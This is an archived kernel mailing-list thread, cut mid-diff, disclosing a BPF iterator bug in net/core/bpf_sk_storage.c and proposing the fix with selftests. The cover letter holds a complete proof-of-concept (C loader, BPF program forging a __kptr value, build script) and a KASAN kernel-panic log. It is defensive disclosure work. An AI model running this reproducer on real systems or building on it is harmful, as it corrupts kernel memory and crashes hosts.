Netdev List
 help / color / mirror / Atom feed
* [PATCH bpf v2 0/1] bpf: reject raw iteration over managed map fields
@ 2026-10-20  6:35 Zhiling Zou
  2026-10-20  6:35 ` [PATCH bpf v2 1/1] " Zhiling Zou
  0 siblings, 1 reply; 3+ messages in thread
From: Zhiling Zou @ 2026-10-20  6:35 UTC (permalink / raw)
  To: ameryhung, bpf, netdev, llvm
  Cc: ast, daniel, andrii, eddyz87, memxor, martin.lau, song,
	yonghong.song, jolsa, emil, ihor.solodrai, john.fastabend, davem,
	edumazet, pabeni, horms, nathan, ndesaulniers, morbo, justinstitt,
	zhilinz, menglong8.dong, bestswngs, mattbobrowski, vega,
	sashiko-bot

Hi Linux kernel maintainers,

We found and validated an issue in net/core/bpf_sk_storage.c. A root
user with the capabilities required for tracing BPF programs and socket
storage maps can trigger memory corruption through BPF iterators.

We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

The bpf_sk_storage_map iterator exposes each storage value as a writable
PTR_TO_BUF. Its attach validation bounds the program's maximum access by
map->value_size, but does not account for BTF-managed fields in the map
value. A BPF program can therefore access an __kptr field as raw memory,
bypassing verifier ownership checks and bpf_kptr_xchg(). Deleting the
storage element then passes the corrupted pointer to bpf_obj_free_fields().

The bpf_map_elem iterator exposes map values as writable PTR_TO_BUF memory
as well. Its attach validation also checks only the maximum access against
value_size, allowing raw access to BTF-managed fields in map values.

The initial validation also leaves a bpf_link_update() gap: the iterator
link replaces its program without checking the replacement's access range
against the map held by the link.

The fix allows access to the ordinary value prefix before the first managed
field for both iterator targets. It also validates the replacement program
against the attached map. Selftests cover allowed prefix access, rejected
managed-field reads and writes, and rejected link updates that introduce
managed-field access.

Reproducer:

    ./poc.sh

The supplied prebuilt poc.bpf.o is used by the script. It requires bpftool,
libbpf, and Python 3 in the guest. We ran it as root in a 2 vCPU, 2 GB x86
QEMU environment.

------BEGIN poc.c------

    #define _GNU_SOURCE
    #include <bpf/bpf.h>
    #include <bpf/libbpf.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <linux/bpf.h>
    #include <netinet/in.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/resource.h>
    #include <sys/socket.h>
    #include <unistd.h>

    struct storage_init {
    	__u64 tag;
    	__u64 ignored_kptr_bytes;
    };

    static void die(const char *what)
    {
    	fprintf(stderr, "%s: %s\n", what, strerror(errno));
    	exit(1);
    }

    static void die_libbpf(const char *what, int err)
    {
    	errno = -err;
    	die(what);
    }

    static void raise_memlock(void)
    {
    	struct rlimit lim = {
    		.rlim_cur = RLIM_INFINITY,
    		.rlim_max = RLIM_INFINITY,
    	};

    	if (setrlimit(RLIMIT_MEMLOCK, &lim) && errno != EPERM)
    		die("setrlimit(RLIMIT_MEMLOCK)");
    }

    static int run_iter(struct bpf_program *prog, int map_fd)
    {
    	DECLARE_LIBBPF_OPTS(bpf_iter_attach_opts, opts);
    	union bpf_iter_link_info linfo;
    	struct bpf_link *link;
    	char buf[64];
    	int iter_fd;
    	int len;

    	memset(&linfo, 0, sizeof(linfo));
    	linfo.map.map_fd = map_fd;
    	opts.link_info = &linfo;
    	opts.link_info_len = sizeof(linfo);

    	link = bpf_program__attach_iter(prog, &opts);
    	if (libbpf_get_error(link))
    		return libbpf_get_error(link);

    	iter_fd = bpf_iter_create(bpf_link__fd(link));
    	if (iter_fd < 0) {
    		int err = -errno;

    		bpf_link__destroy(link);
    		return err;
    	}

    	for (;;) {
    		len = read(iter_fd, buf, sizeof(buf));
    		if (len == 0)
    			break;
    		if (len < 0) {
    			int err = -errno;

    			close(iter_fd);
    			bpf_link__destroy(link);
    			return err;
    		}
    	}

    	close(iter_fd);
    	bpf_link__destroy(link);
    	return 0;
    }

    int main(void)
    {
    	struct storage_init init = {
    		.tag = 0x1337,
    	};
    	struct bpf_program *prog;
    	struct bpf_object *obj;
    	int map_fd;
    	int sock_fd;
    	int err;

    	raise_memlock();
    	libbpf_set_strict_mode(LIBBPF_STRICT_ALL);
    	libbpf_set_print(NULL);

    	obj = bpf_object__open_file("./poc.bpf.o", NULL);
    	if (libbpf_get_error(obj))
    		die_libbpf("bpf_object__open_file", libbpf_get_error(obj));

    	err = bpf_object__load(obj);
    	if (err)
    		die_libbpf("bpf_object__load", err);

    	map_fd = bpf_object__find_map_fd_by_name(obj, "sk_stg_map");
    	if (map_fd < 0)
    		die_libbpf("bpf_object__find_map_fd_by_name", map_fd);

    	prog = bpf_object__find_program_by_name(obj, "forge_bpf_sk_storage_kptr");
    	if (!prog) {
    		errno = ENOENT;
    		die("bpf_object__find_program_by_name");
    	}

    	sock_fd = socket(AF_INET6, SOCK_STREAM, 0);
    	if (sock_fd < 0)
    		die("socket(AF_INET6, SOCK_STREAM)");

    	err = bpf_map_update_elem(map_fd, &sock_fd, &init, BPF_NOEXIST);
    	if (err)
    		die("bpf_map_update_elem(sk_storage)");

    	err = run_iter(prog, map_fd);
    	if (err)
    		die_libbpf("run_iter", err);

    	fprintf(stderr, "[*] forged kptr in sk_storage value, deleting element now\n");
    	fflush(stderr);

    	err = bpf_map_delete_elem(map_fd, &sock_fd);
    	if (err)
    		die("bpf_map_delete_elem(sk_storage)");

    	fprintf(stderr, "[!] delete unexpectedly returned without crashing\n");
    	close(sock_fd);
    	bpf_object__close(obj);
    	return 0;
    }

------END poc.c--------

------BEGIN poc.bpf.c------

    #include "vmlinux.h"
    #include <bpf/bpf_helpers.h>
    #include <bpf/bpf_tracing.h>

    char LICENSE[] SEC("license") = "GPL";

    struct local_obj {
    	__u64 marker;
    };

    /* Force LLVM to emit full BTF for local_obj instead of a forward decl. */
    struct local_obj *btf_anchor;

    struct storage_val {
    	__u64 tag;
    	struct local_obj __kptr *ptr;
    };

    struct {
    	__uint(type, BPF_MAP_TYPE_SK_STORAGE);
    	__uint(map_flags, BPF_F_NO_PREALLOC);
    	__type(key, int);
    	__type(value, struct storage_val);
    } sk_stg_map SEC(".maps");

    SEC("iter/bpf_sk_storage_map")
    int forge_bpf_sk_storage_kptr(struct bpf_iter__bpf_sk_storage_map *ctx)
    {
    	struct storage_val *val = ctx->value;
    	volatile __u64 *raw_kptr;

    	if (!ctx->sk || !val)
    		return 0;

    	if (val->tag != 0x1337)
    		return 0;

    	raw_kptr = (volatile __u64 *)&val->ptr;
    	*raw_kptr = 0x1000;
    	return 0;
    }

------END poc.bpf.c--------

------BEGIN poc.sh------

    #!/bin/sh
    set -eu

    if [ ! -f ./poc.bpf.o ]; then
    	if ! command -v clang >/dev/null 2>&1; then
    		echo "missing ./poc.bpf.o and clang is unavailable" >&2
    		exit 1
    	fi
    	clang -O2 -g -target bpf -D__TARGET_ARCH_x86 -I. -I./include -c poc.bpf.c -o poc.bpf.o
    fi

    gcc -O2 -g -Wall -o poc poc.c -lbpf -lelf -lz
    exec ./poc

------END poc.sh--------

----BEGIN crash log----

[  565.939149][T10631] Oops: general protection fault, probably for non-canonical address 0xdffffc00000001ff: 0000 [#1] PREEMPT SMP KASAN NOPTI
[  565.940317][T10631] KASAN: null-ptr-deref in range [0x0000000000000ff8-0x0000000000000fff]
[  565.940900][T10631] CPU: 2 UID: 0 PID: 10631 Comm: poc Not tainted 6.12.95 #2
[  565.941419][T10631] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  565.942280][T10631] RIP: 0010:bpf_mem_free_rcu+0x2e/0x1d0
[  565.942721][T10631] Code: 48 85 f6 0f 84 55 01 00 00 48 b8 00 00 00 00 00 fc ff df 41 55 41 54 49 89 f4 55 48 89 fd 48 8d 7e f8 53 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 4f 01 00 00 48 b8 00 00 00 00 00 fc ff df 49 8b
[  565.943975][T10631] RSP: 0018:ffffc90013dbfae8 EFLAGS: 00010016
[  565.944492][T10631] RAX: dffffc0000000000 RBX: ffff88807deaf038 RCX: 1ffff110219809c0
[  565.944999][T10631] RDX: 00000000000001ff RSI: 0000000000001000 RDI: 0000000000000ff8
[  565.945495][T10631] RBP: ffffffff99d58fa0 R08: ffffffff81a67790 R09: ffffed102275f88e
[  565.945984][T10631] R10: 0000000000001000 R11: 0000000000000001 R12: 0000000000001000
[  565.946493][T10631] R13: 0000000000000000 R14: ffff88807deaf020 R15: dffffc0000000000
[  565.946986][T10631] FS:  00007fdedf88a740(0000) GS:ffff888118b00000(0000) knlGS:0000000000000000
[  565.947557][T10631] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  565.947979][T10631] CR2: 00007fdedfc07000 CR3: 000000007ebbe000 CR4: 0000000000750ef0
[  565.948485][T10631] PKRU: 55555554
[  565.948711][T10631] Call Trace:
[  565.949346][T10631]  <TASK>
[  565.949540][T10631]  bpf_obj_free_fields+0x38e/0x490
[  565.949882][T10631]  ? srso_alias_return_thunk+0x5/0xfbef5
[  565.950270][T10631]  bpf_selem_free+0x46/0x110
[  565.950566][T10631]  ? srso_alias_return_thunk+0x5/0xfbef5
[  565.950917][T10631]  bpf_selem_unlink_storage_nolock.constprop.0+0x25d/0x860
[  565.951374][T10631]  bpf_selem_unlink_storage+0x132/0x2e0
[  565.951726][T10631]  bpf_fd_sk_storage_delete_elem+0x118/0x180
[  565.952135][T10631]  ? __sys_bpf+0x23cf/0x4210
[  565.952429][T10631]  ? __pfx_bpf_fd_sk_storage_delete_elem+0x10/0x10
[  565.952839][T10631]  ? lock_acquire+0x2f/0xb0
[  565.953170][T10631]  ? __sys_bpf+0x23cf/0x4210
[  565.953466][T10631]  __sys_bpf+0x2440/0x4210
[  565.953752][T10631]  ? __pfx___sys_bpf+0x10/0x10
[  565.954070][T10631]  ? srso_alias_return_thunk+0x5/0xfbef5
[  565.954421][T10631]  ? vfs_write+0x9ff/0xf30
[  565.954728][T10631]  ? __pfx_vfs_write+0x10/0x10
[  565.955064][T10631]  ? srso_alias_return_thunk+0x5/0xfbef5
[  565.955435][T10631]  ? ksys_write+0x17c/0x1d0
[  565.955722][T10631]  ? __pfx_ksys_write+0x10/0x10
[  565.956036][T10631]  __x64_sys_bpf+0x78/0xc0
[  565.956329][T10631]  ? srso_alias_return_thunk+0x5/0xfbef5
[  565.956684][T10631]  ? lockdep_hardirqs_on+0x7b/0x110
[  565.957025][T10631]  do_syscall_64+0xc7/0x270
[  565.957334][T10631]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  565.957715][T10631] RIP: 0033:0x7fdedfaa57b9
[  565.958002][T10631] Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 27 66 0d 00 f7 d8 64 89 01 48
[  565.959226][T10631] RSP: 002b:00007ffd07695e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000141
[  565.959757][T10631] RAX: ffffffffffffffda RBX: 0000000000000009 RCX: 00007fdedfaa57b9
[  565.960253][T10631] RDX: 0000000000000020 RSI: 00007ffd07695e80 RDI: 0000000000000003
[  565.960741][T10631] RBP: 000055adbfb7c2a0 R08: 0000000000000000 R09: 0000000000000004
[  565.961234][T10631] R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffd07695f80
[  565.961720][T10631] R13: 0000000000000004 R14: 000055adbfb7d810 R15: 00007ffd07695f3c
[  565.962235][T10631]  </TASK>
[  565.962430][T10631] Modules linked in:
[  565.962693][T10631] ---[ end trace 0000000000000000 ]---
[  565.963034][T10631] RIP: 0010:bpf_mem_free_rcu+0x2e/0x1d0
[  565.963397][T10631] Code: 48 85 f6 0f 84 55 01 00 00 48 b8 00 00 00 00 00 fc ff df 41 55 41 54 49 89 f4 55 48 89 fd 48 8d 7e f8 53 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 4f 01 00 00 48 b8 00 00 00 00 00 fc ff df 49 8b
[  565.964598][T10631] RSP: 0018:ffffc90013dbfae8 EFLAGS: 00010016
[  565.964982][T10631] RAX: dffffc0000000000 RBX: ffff88807deaf038 RCX: 1ffff110219809c0
[  565.965489][T10631] RDX: 00000000000001ff RSI: 0000000000001000 RDI: 0000000000000ff8
[  565.965978][T10631] RBP: ffffffff99d58fa0 R08: ffffffff81a67790 R09: ffffed102275f88e
[  565.966479][T10631] R10: 0000000000001000 R11: 0000000000000001 R12: 0000000000001000
[  565.966979][T10631] R13: 0000000000000000 R14: ffff88807deaf020 R15: dffffc0000000000
[  565.967488][T10631] FS:  00007fdedf88a740(0000) GS:ffff888118b00000(0000) knlGS:0000000000000000
[  565.968045][T10631] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  565.968454][T10631] CR2: 00007fdedfc07000 CR3: 000000007ebbe000 CR4: 0000000000750ef0
[  565.968945][T10631] PKRU: 55555554
[  565.969183][T10631] Kernel panic - not syncing: Fatal exception
[  565.969732][T10631] Kernel Offset: disabled
[  565.970010][T10631] Rebooting in 86400 seconds..

-----END crash log-----

Zhiling Zou (1):
  bpf: reject raw iteration over managed map fields

 include/linux/bpf.h                           |   3 +
 kernel/bpf/bpf_iter.c                         |   9 +
 kernel/bpf/map_iter.c                         |  56 ++++--
 net/core/bpf_sk_storage.c                     |  34 +++-
 .../selftests/bpf/prog_tests/bpf_iter.c       | 187 ++++++++++++++++++
 .../bpf/progs/bpf_iter_bpf_sk_storage_map.c   | 113 +++++++++++
 6 files changed, 377 insertions(+), 25 deletions(-)

-- 
2.55.0


^ permalink raw reply	[flat|nested] 3+ messages in thread

* [PATCH bpf v2 1/1] bpf: reject raw iteration over managed map fields
  2026-10-20  6:35 [PATCH bpf v2 0/1] bpf: reject raw iteration over managed map fields Zhiling Zou
@ 2026-10-20  6:35 ` Zhiling Zou
  2026-10-20  7:13   ` bot+bpf-ci
  0 siblings, 1 reply; 3+ messages in thread
From: Zhiling Zou @ 2026-10-20  6:35 UTC (permalink / raw)
  To: ameryhung, bpf, netdev, llvm
  Cc: ast, daniel, andrii, eddyz87, memxor, martin.lau, song,
	yonghong.song, jolsa, emil, ihor.solodrai, john.fastabend, davem,
	edumazet, pabeni, horms, nathan, ndesaulniers, morbo, justinstitt,
	zhilinz, menglong8.dong, bestswngs, mattbobrowski, vega,
	sashiko-bot

BPF map iterators expose values as writable PTR_TO_BUF memory. Attach-time
validation bounds maximum access by value_size, but does not account for
BTF-managed fields in map values. Direct buffer accesses can therefore read
or overwrite fields such as __kptr without the verifier's ownership checks.

For bpf_map_elem and bpf_sk_storage_map iterators, limit value access to
the prefix before the first managed field. Since max_rdwr_access is an
exclusive end offset and record fields are sorted, accesses ending at the
first managed field remain available while accesses reaching it are denied.

Revalidate the replacement program against the map associated with an
iterator link before bpf_link_update() swaps programs. Add selftests for
allowed prefix access, rejected managed-field reads and writes, and link
updates that introduce managed-field access.

Fixes: 9db44fdd8105 ("bpf: Support kptrs in local storage maps")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Link: https://lore.kernel.org/all/1fa798d444efac579e91ee0716e228902a8f9afe.1791980149.git.zhilinz@nebusec.ai/
Reported-by: Sashiko <sashiko-bot@kernel.org>
Closes: https://sashiko.dev/#/patchset/cover.1791980149.git.zhilinz@nebusec.ai?part=1
Suggested-by: Amery Hung <ameryhung@gmail.com>
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
changes in v2:
- Cover bpf_map_elem in addition to bpf_sk_storage_map iterators.
- Allow access to ordinary value fields before the first managed field.
- Revalidate replacement programs against the attached map on
  bpf_link_update().
- Add selftests for allowed prefix access, rejected kptr reads/writes, and
  replacement-program validation for both iterator targets.
- Address the Sashiko link-update finding and Amery Hung's review comments.
- v1 Link: https://lore.kernel.org/all/1fa798d444efac579e91ee0716e228902a8f9afe.1791980149.git.zhilinz@nebusec.ai/

 include/linux/bpf.h                           |   3 +
 kernel/bpf/bpf_iter.c                         |   9 +
 kernel/bpf/map_iter.c                         |  56 ++++--
 net/core/bpf_sk_storage.c                     |  34 +++-
 .../selftests/bpf/prog_tests/bpf_iter.c       | 187 ++++++++++++++++++
 .../bpf/progs/bpf_iter_bpf_sk_storage_map.c   | 113 +++++++++++
 6 files changed, 377 insertions(+), 25 deletions(-)

diff --git a/include/linux/bpf.h b/include/linux/bpf.h
index 0ecb9418dfbd6..b6864779096df 100644
--- a/include/linux/bpf.h
+++ b/include/linux/bpf.h
@@ -3007,6 +3007,8 @@ struct bpf_iter_aux_info {
 typedef int (*bpf_iter_attach_target_t)(struct bpf_prog *prog,
 					union bpf_iter_link_info *linfo,
 					struct bpf_iter_aux_info *aux);
+typedef int (*bpf_iter_validate_prog_t)(struct bpf_prog *prog,
+					const struct bpf_iter_aux_info *aux);
 typedef void (*bpf_iter_detach_target_t)(struct bpf_iter_aux_info *aux);
 typedef void (*bpf_iter_show_fdinfo_t) (const struct bpf_iter_aux_info *aux,
 					struct seq_file *seq);
@@ -3024,6 +3026,7 @@ enum bpf_iter_feature {
 struct bpf_iter_reg {
 	const char *target;
 	bpf_iter_attach_target_t attach_target;
+	bpf_iter_validate_prog_t validate_prog;
 	bpf_iter_detach_target_t detach_target;
 	bpf_iter_show_fdinfo_t show_fdinfo;
 	bpf_iter_fill_link_info_t fill_link_info;
diff --git a/kernel/bpf/bpf_iter.c b/kernel/bpf/bpf_iter.c
index b40eb404adab9..765148de64d65 100644
--- a/kernel/bpf/bpf_iter.c
+++ b/kernel/bpf/bpf_iter.c
@@ -409,6 +409,8 @@ static int bpf_iter_link_replace(struct bpf_link *link,
 				 struct bpf_prog *new_prog,
 				 struct bpf_prog *old_prog)
 {
+	struct bpf_iter_link *iter_link =
+		container_of(link, struct bpf_iter_link, link);
 	int ret = 0;
 
 	mutex_lock(&link_mutex);
@@ -424,6 +426,13 @@ static int bpf_iter_link_replace(struct bpf_link *link,
 		goto out_unlock;
 	}
 
+	if (iter_link->tinfo->reg_info->validate_prog) {
+		ret = iter_link->tinfo->reg_info->validate_prog(new_prog,
+								 &iter_link->aux);
+		if (ret)
+			goto out_unlock;
+	}
+
 	old_prog = xchg(&link->prog, new_prog);
 	bpf_prog_put(old_prog);
 
diff --git a/kernel/bpf/map_iter.c b/kernel/bpf/map_iter.c
index c19b360bad9ea..04cf255587aa8 100644
--- a/kernel/bpf/map_iter.c
+++ b/kernel/bpf/map_iter.c
@@ -97,25 +97,15 @@ static struct bpf_iter_reg bpf_map_reg_info = {
 	.seq_info		= &bpf_map_seq_info,
 };
 
-static int bpf_iter_attach_map(struct bpf_prog *prog,
-			       union bpf_iter_link_info *linfo,
-			       struct bpf_iter_aux_info *aux)
+static int bpf_iter_map_elem_check_prog(struct bpf_prog *prog,
+					struct bpf_map *map)
 {
 	u32 key_acc_size, value_acc_size, key_size, value_size;
-	struct bpf_map *map;
 	bool is_percpu = false;
 	int err = -EINVAL;
 
-	if (!linfo->map.map_fd)
-		return -EBADF;
-
-	map = bpf_map_get_with_uref(linfo->map.map_fd);
-	if (IS_ERR(map))
-		return PTR_ERR(map);
-	if (map->excl_prog_sha) {
-		err = -EPERM;
-		goto put_map;
-	}
+	if (map->excl_prog_sha)
+		return -EPERM;
 
 	if (map->map_type == BPF_MAP_TYPE_PERCPU_HASH ||
 	    map->map_type == BPF_MAP_TYPE_LRU_PERCPU_HASH ||
@@ -125,7 +115,7 @@ static int bpf_iter_attach_map(struct bpf_prog *prog,
 		 map->map_type != BPF_MAP_TYPE_LRU_HASH &&
 		 map->map_type != BPF_MAP_TYPE_ARRAY &&
 		 map->map_type != BPF_MAP_TYPE_RHASH)
-		goto put_map;
+		return err;
 
 	key_acc_size = prog->aux->max_rdonly_access;
 	value_acc_size = prog->aux->max_rdwr_access;
@@ -135,10 +125,39 @@ static int bpf_iter_attach_map(struct bpf_prog *prog,
 	else
 		value_size = round_up(map->value_size, 8) * num_possible_cpus();
 
-	if (key_acc_size > key_size || value_acc_size > value_size) {
-		err = -EACCES;
+	if (key_acc_size > key_size || value_acc_size > value_size)
+		return -EACCES;
+
+	/* Fields are sorted by offset; max_rdwr_access is an exclusive end. */
+	if (map->record && value_acc_size > map->record->fields[0].offset)
+		return -EACCES;
+
+	return 0;
+}
+
+static int bpf_iter_map_elem_validate_prog(struct bpf_prog *prog,
+					   const struct bpf_iter_aux_info *aux)
+{
+	return bpf_iter_map_elem_check_prog(prog, aux->map);
+}
+
+static int bpf_iter_attach_map(struct bpf_prog *prog,
+			       union bpf_iter_link_info *linfo,
+			       struct bpf_iter_aux_info *aux)
+{
+	struct bpf_map *map;
+	int err;
+
+	if (!linfo->map.map_fd)
+		return -EBADF;
+
+	map = bpf_map_get_with_uref(linfo->map.map_fd);
+	if (IS_ERR(map))
+		return PTR_ERR(map);
+
+	err = bpf_iter_map_elem_check_prog(prog, map);
+	if (err)
 		goto put_map;
-	}
 
 	aux->map = map;
 	return 0;
@@ -172,6 +191,7 @@ DEFINE_BPF_ITER_FUNC(bpf_map_elem, struct bpf_iter_meta *meta,
 static const struct bpf_iter_reg bpf_map_elem_reg_info = {
 	.target			= "bpf_map_elem",
 	.attach_target		= bpf_iter_attach_map,
+	.validate_prog		= bpf_iter_map_elem_validate_prog,
 	.detach_target		= bpf_iter_detach_map,
 	.show_fdinfo		= bpf_iter_map_show_fdinfo,
 	.fill_link_info		= bpf_iter_map_fill_link_info,
diff --git a/net/core/bpf_sk_storage.c b/net/core/bpf_sk_storage.c
index 1d295a8769fad..ffbcfab9a71c3 100644
--- a/net/core/bpf_sk_storage.c
+++ b/net/core/bpf_sk_storage.c
@@ -846,12 +846,35 @@ static void bpf_iter_fini_sk_storage_map(void *priv_data)
 	bpf_map_put_with_uref(seq_info->map);
 }
 
+static int bpf_iter_sk_storage_map_check_prog(struct bpf_prog *prog,
+					      struct bpf_map *map)
+{
+	if (map->map_type != BPF_MAP_TYPE_SK_STORAGE)
+		return -EINVAL;
+
+	if (prog->aux->max_rdwr_access > map->value_size)
+		return -EACCES;
+
+	/* Fields are sorted by offset; max_rdwr_access is an exclusive end. */
+	if (map->record &&
+	    prog->aux->max_rdwr_access > map->record->fields[0].offset)
+		return -EACCES;
+
+	return 0;
+}
+
+static int bpf_iter_sk_storage_map_validate_prog(struct bpf_prog *prog,
+						 const struct bpf_iter_aux_info *aux)
+{
+	return bpf_iter_sk_storage_map_check_prog(prog, aux->map);
+}
+
 static int bpf_iter_attach_map(struct bpf_prog *prog,
 			       union bpf_iter_link_info *linfo,
 			       struct bpf_iter_aux_info *aux)
 {
 	struct bpf_map *map;
-	int err = -EINVAL;
+	int err;
 
 	if (!linfo->map.map_fd)
 		return -EBADF;
@@ -860,13 +883,9 @@ static int bpf_iter_attach_map(struct bpf_prog *prog,
 	if (IS_ERR(map))
 		return PTR_ERR(map);
 
-	if (map->map_type != BPF_MAP_TYPE_SK_STORAGE)
-		goto put_map;
-
-	if (prog->aux->max_rdwr_access > map->value_size) {
-		err = -EACCES;
+	err = bpf_iter_sk_storage_map_check_prog(prog, map);
+	if (err)
 		goto put_map;
-	}
 
 	aux->map = map;
 	return 0;
@@ -898,6 +917,7 @@ static const struct bpf_iter_seq_info iter_seq_info = {
 static struct bpf_iter_reg bpf_sk_storage_map_reg_info = {
 	.target			= "bpf_sk_storage_map",
 	.attach_target		= bpf_iter_attach_map,
+	.validate_prog		= bpf_iter_sk_storage_map_validate_prog,
 	.detach_target		= bpf_iter_detach_map,
 	.show_fdinfo		= bpf_iter_map_show_fdinfo,
 	.fill_link_info		= bpf_iter_map_fill_link_info,
diff --git a/tools/testing/selftests/bpf/prog_tests/bpf_iter.c b/tools/testing/selftests/bpf/prog_tests/bpf_iter.c
index c69080ca14f5a..ef12fd0a2ac1c 100644
--- a/tools/testing/selftests/bpf/prog_tests/bpf_iter.c
+++ b/tools/testing/selftests/bpf/prog_tests/bpf_iter.c
@@ -1400,6 +1400,191 @@ static void test_bpf_sk_storage_map(void)
 	bpf_iter_bpf_sk_storage_map__destroy(skel);
 }
 
+struct managed_value {
+	__u64 prefix;
+	__u64 ptr;
+};
+
+static struct bpf_link *attach_managed_map_iter(struct bpf_program *prog,
+						int map_fd)
+{
+	DECLARE_LIBBPF_OPTS(bpf_iter_attach_opts, opts);
+	union bpf_iter_link_info linfo = {};
+
+	linfo.map.map_fd = map_fd;
+	opts.link_info = &linfo;
+	opts.link_info_len = sizeof(linfo);
+	return bpf_program__attach_iter(prog, &opts);
+}
+
+static int read_managed_map_iter(struct bpf_link *link)
+{
+	char buf[64];
+	int iter_fd, len, err = 0;
+
+	iter_fd = bpf_iter_create(bpf_link__fd(link));
+	if (iter_fd < 0)
+		return -errno;
+
+	while ((len = read(iter_fd, buf, sizeof(buf))) > 0)
+		;
+	if (len < 0)
+		err = -errno;
+	close(iter_fd);
+	return err;
+}
+
+static void test_managed_map_elem_iter(struct bpf_iter_bpf_sk_storage_map *skel)
+{
+	struct managed_value value = { .prefix = 10 };
+	__u32 key = 1;
+	int map_fd, err;
+	struct bpf_link *link;
+
+	map_fd = bpf_map__fd(skel->maps.managed_hash_map);
+	err = bpf_map_update_elem(map_fd, &key, &value, BPF_ANY);
+	if (!ASSERT_OK(err, "hash_map_update"))
+		return;
+
+	link = attach_managed_map_iter(skel->progs.map_iter_prefix, map_fd);
+	if (!ASSERT_OK_PTR(link, "hash_prefix_attach"))
+		return;
+	err = read_managed_map_iter(link);
+	bpf_link__destroy(link);
+	if (!ASSERT_OK(err, "hash_prefix_iter"))
+		return;
+
+	err = bpf_map_lookup_elem(map_fd, &key, &value);
+	if (!ASSERT_OK(err, "hash_prefix_lookup") ||
+	    !ASSERT_EQ(value.prefix, 11, "hash_prefix_value"))
+		return;
+
+	link = attach_managed_map_iter(skel->progs.map_iter_no_access, map_fd);
+	if (!ASSERT_OK_PTR(link, "hash_no_access_attach"))
+		return;
+	err = bpf_link__update_program(link, skel->progs.map_iter_write_kptr);
+	if (!ASSERT_EQ(err, -EACCES, "hash_link_update_kptr"))
+		goto out;
+	err = bpf_link__update_program(link, skel->progs.map_iter_prefix);
+	if (!ASSERT_OK(err, "hash_link_update_prefix"))
+		goto out;
+	err = read_managed_map_iter(link);
+	if (!ASSERT_OK(err, "hash_updated_iter"))
+		goto out;
+	err = bpf_map_lookup_elem(map_fd, &key, &value);
+	if (!ASSERT_OK(err, "hash_updated_lookup") ||
+	    !ASSERT_EQ(value.prefix, 12, "hash_updated_value"))
+		goto out;
+
+	bpf_link__destroy(link);
+	link = attach_managed_map_iter(skel->progs.map_iter_read_kptr, map_fd);
+	err = libbpf_get_error(link);
+	if (!ASSERT_EQ(err, -EACCES, "hash_read_kptr_attach")) {
+		if (!err)
+			bpf_link__destroy(link);
+		return;
+	}
+
+	link = attach_managed_map_iter(skel->progs.map_iter_write_kptr, map_fd);
+	err = libbpf_get_error(link);
+	if (!ASSERT_EQ(err, -EACCES, "hash_write_kptr_attach")) {
+		if (!err)
+			bpf_link__destroy(link);
+	}
+	return;
+
+out:
+	bpf_link__destroy(link);
+}
+
+static void test_managed_sk_storage_iter(struct bpf_iter_bpf_sk_storage_map *skel)
+{
+	struct managed_value value = { .prefix = 20 };
+	int sock_fd, map_fd, err;
+	struct bpf_link *link;
+
+	sock_fd = socket(AF_INET6, SOCK_STREAM, 0);
+	if (!ASSERT_GE(sock_fd, 0, "managed_storage_socket"))
+		return;
+
+	map_fd = bpf_map__fd(skel->maps.managed_sk_storage_map);
+	err = bpf_map_update_elem(map_fd, &sock_fd, &value, BPF_NOEXIST);
+	if (!ASSERT_OK(err, "storage_map_update"))
+		goto out_socket;
+
+	link = attach_managed_map_iter(skel->progs.sk_storage_iter_prefix, map_fd);
+	if (!ASSERT_OK_PTR(link, "storage_prefix_attach"))
+		goto out_socket;
+	err = read_managed_map_iter(link);
+	bpf_link__destroy(link);
+	if (!ASSERT_OK(err, "storage_prefix_iter"))
+		goto out_socket;
+
+	err = bpf_map_lookup_elem(map_fd, &sock_fd, &value);
+	if (!ASSERT_OK(err, "storage_prefix_lookup") ||
+	    !ASSERT_EQ(value.prefix, 21, "storage_prefix_value"))
+		goto out_socket;
+
+	link = attach_managed_map_iter(skel->progs.sk_storage_iter_no_access,
+				       map_fd);
+	if (!ASSERT_OK_PTR(link, "storage_no_access_attach"))
+		goto out_socket;
+	err = bpf_link__update_program(link,
+				       skel->progs.sk_storage_iter_write_kptr);
+	if (!ASSERT_EQ(err, -EACCES, "storage_link_update_kptr"))
+		goto out_link;
+	err = bpf_link__update_program(link,
+				       skel->progs.sk_storage_iter_prefix);
+	if (!ASSERT_OK(err, "storage_link_update_prefix"))
+		goto out_link;
+	err = read_managed_map_iter(link);
+	if (!ASSERT_OK(err, "storage_updated_iter"))
+		goto out_link;
+	err = bpf_map_lookup_elem(map_fd, &sock_fd, &value);
+	if (!ASSERT_OK(err, "storage_updated_lookup") ||
+	    !ASSERT_EQ(value.prefix, 22, "storage_updated_value"))
+		goto out_link;
+
+	bpf_link__destroy(link);
+	link = NULL;
+	link = attach_managed_map_iter(skel->progs.sk_storage_iter_read_kptr,
+				       map_fd);
+	err = libbpf_get_error(link);
+	if (!ASSERT_EQ(err, -EACCES, "storage_read_kptr_attach")) {
+		if (!err)
+			bpf_link__destroy(link);
+		goto out_socket;
+	}
+
+	link = attach_managed_map_iter(skel->progs.sk_storage_iter_write_kptr,
+				       map_fd);
+	err = libbpf_get_error(link);
+	if (!ASSERT_EQ(err, -EACCES, "storage_write_kptr_attach")) {
+		if (!err)
+			bpf_link__destroy(link);
+	}
+	goto out_socket;
+
+out_link:
+	if (link)
+		bpf_link__destroy(link);
+out_socket:
